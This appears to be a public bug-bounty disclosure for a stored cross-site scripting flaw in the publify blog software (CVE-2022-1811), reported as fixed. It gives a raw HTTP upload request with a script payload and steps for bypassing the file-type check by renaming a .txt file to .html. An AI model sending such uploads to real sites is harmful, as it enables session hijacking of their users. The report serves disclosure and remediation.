Bypass Restriction and File Upload Leads to XSS Stored - TXT to HTML in publify/publify

0

Valid Reported on May 19th 2022

Description

Unrestricted file upload allowed the attacker to manipulate the request and bypass the protection of HTML files using a text file, XSS Stored was obtained when uploading the HTML file.

Proof of Concept

```
POST /admin/resources/upload HTTP/1.1
Host: demo-publify.herokuapp.com
Cookie: _publify_blog_session=SESSION_HERE
Content-Length: 649
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryR7LwpeBok
Referer: https://demo-publify.herokuapp.com/admin/resources
Accept-Encoding: gzip, deflate
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

------WebKitFormBoundaryR7LwpeBoKn4f7hI5
Content-Disposition: form-data; name="utf8"

âœ“
------WebKitFormBoundaryR7LwpeBoKn4f7hI5
Content-Disposition: form-data; name="authenticity_token"

TOKEN_HERE
------WebKitFormBoundaryR7LwpeBoKn4f7hI5
Content-Disposition: form-data; name="upload"; filename="w0
Content-Type: text/plain
```

```
<script>alert('OOPSS');</script>
------WebKitFormBoundaryR7LwpeBoKn4f7hI5
Content-Disposition: form-data; name="commit"

Upload
------WebKitFormBoundaryR7LwpeBoKn4f7hI5--
```

Step 1 - Upload a **.txt** file and intercept the request
Step 2 - Change the extension of filename to **.html**
Step 3 - Submit a request and the file will be uploaded successfully

Video

https://drive.google.com/file/d/1bNffqwUl_9Sn7wqpBvEAqvV_PGRadlPb/view?usp=sharing

Impact

Successful exploitation of cross-site scripting vulnerabilities allows an attacker to run arbitrary script code in the context of the affected user. This can be used to compromise the integrity of content returned by the webserver to take over a user's session, redirect the user to a malicious website.

References

- https://portswigger.net/web-security/cross-site-scripting/stored
- https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
- https://hackerone.com/reports/831703

CVE
CVE-2022-1811
(Published)

Vulnerability Type
CWE-434: Unrestricted Upload of File with Dangerous Type

Severity
Critical (9.1)

Registry

Registry
Other

Affected Version

*

Visibility
Public

Status
Fixed

Found by

Jonatas
@ninj4c0d3r
master

Fixed by

Matijs van Zuijlen
@mvz
maintainer

This report was seen 997 times.

We are processing your report and will contact the **publify** team within 24 hours. 6 months ago

We have contacted a member of the **publify** team and are waiting to hear back 6 months ago

A **publify/publify** maintainer has acknowledged this report 6 months ago

Matijs van Zuijlen validated this vulnerability 6 months ago

Jonatas has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Matijs van Zuijlen marked this as fixed in **9.2.9** with commit **0fb6b0** 6 mont

Matijs van Zuijlen has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

Sign in to join this conversation